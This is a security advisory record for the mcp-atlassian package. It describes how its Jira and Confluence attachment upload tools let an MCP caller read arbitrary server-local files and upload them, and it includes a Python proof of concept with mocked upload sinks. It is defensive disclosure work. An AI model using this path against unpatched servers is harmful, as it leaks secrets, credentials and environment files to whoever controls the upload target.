{"id":"PYSEC-2026-4101","summary":"MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files","details":"### Summary\n\nMCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.\n\n### Details\n\nThe Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`.\n\nThe Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, \"rb\")` in `src/mcp_atlassian/confluence/attachments.py:467-490`.\n\nThe Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs[\"attachments\"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`.\n\nThe tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.\n\n### PoC\n\nThe following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.\n\n```bash\nuv run python - \u003c\u003c'PY'\nimport json, tempfile\nfrom pathlib import Path\nfrom types import SimpleNamespace\nfrom mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin\nfrom mcp_atlassian.confluence.config import ConfluenceConfig\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nclass FakeResponse:\n    def raise_for_status(self):\n        pass\n    def json(self):\n        return {'results': [{'id': 'att-poc'}]}\n\nclass FakeConfluenceSession:\n    def __init__(self):\n        self.uploaded = None\n    def put(self, url, headers=None, files=None, data=None):\n        file_tuple = files['file']\n        self.uploaded = {\n            'url': url,\n            'filename': file_tuple[0],\n            'content': file_tuple[1].read().decode(),\n        }\n        file_tuple[1].close()\n        return FakeResponse()\n\ndef confluence_probe(secret_path):\n    fetcher = object.__new__(ConfluenceAttachmentsMixin)\n    session = FakeConfluenceSession()\n    fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')\n    fetcher.confluence = SimpleNamespace(_session=session)\n    result = fetcher.upload_attachment('123456', str(secret_path))\n    return {'result_success': result.get('success'), 'uploaded': session.uploaded}\n\nclass FakeJiraApi:\n    def __init__(self):\n        self.uploaded = None\n    def add_attachment(self, issue_key, filename):\n        self.uploaded = {\n            'issue_key': issue_key,\n            'filename': Path(filename).name,\n            'content': Path(filename).read_text(),\n        }\n        return {'id': 'att-poc'}\n\ndef jira_probe(secret_path):\n    fetcher = object.__new__(JiraAttachmentsMixin)\n    fake = FakeJiraApi()\n    fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')\n    fetcher.jira = fake\n    result = fetcher.upload_attachment('SAFE-1', str(secret_path))\n    return {'result_success': result.get('success'), 'uploaded': fake.uploaded}\n\nwith tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:\n    secret_path = Path(tmp) / 'server-secret.txt'\n    secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')\n    print(json.dumps({\n        'confluence': confluence_probe(secret_path),\n        'jira': jira_probe(secret_path),\n    }, indent=2, sort_keys=True))\nPY\n```\n\nObserved output from this environment:\n\n```json\n{\n  \"confluence\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"url\": \"https://confluence.example.test/wiki/rest/api/content/123456/child/attachment\"\n    }\n  },\n  \"jira\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"issue_key\": \"SAFE-1\"\n    }\n  }\n}\n```\n\nThe proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.\n\n### Impact\n\nA caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.","aliases":["CVE-2026-77253","GHSA-vc25-24vv-fxxm"],"modified":"2026-10-01T17:45:09.263194109Z","published":"2026-10-01T16:38:35.073729Z","references":[{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/pull/1448"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"},{"type":"PACKAGE","url":"https://github.com/sooperset/mcp-atlassian"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"},{"type":"PACKAGE","url":"https://pypi.org/project/mcp-atlassian"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vc25-24vv-fxxm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77253"}],"affected":[{"package":{"name":"mcp-atlassian","ecosystem":"PyPI","purl":"pkg:pypi/mcp-atlassian"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.2","0.1.3","0.1.4","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.2","0.11.2a2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.14.2","0.14.3","0.15.0","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.19.0","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.20.0","0.20.1","0.21.0","0.21.1","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/mcp-atlassian/PYSEC-2026-4101.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"}]}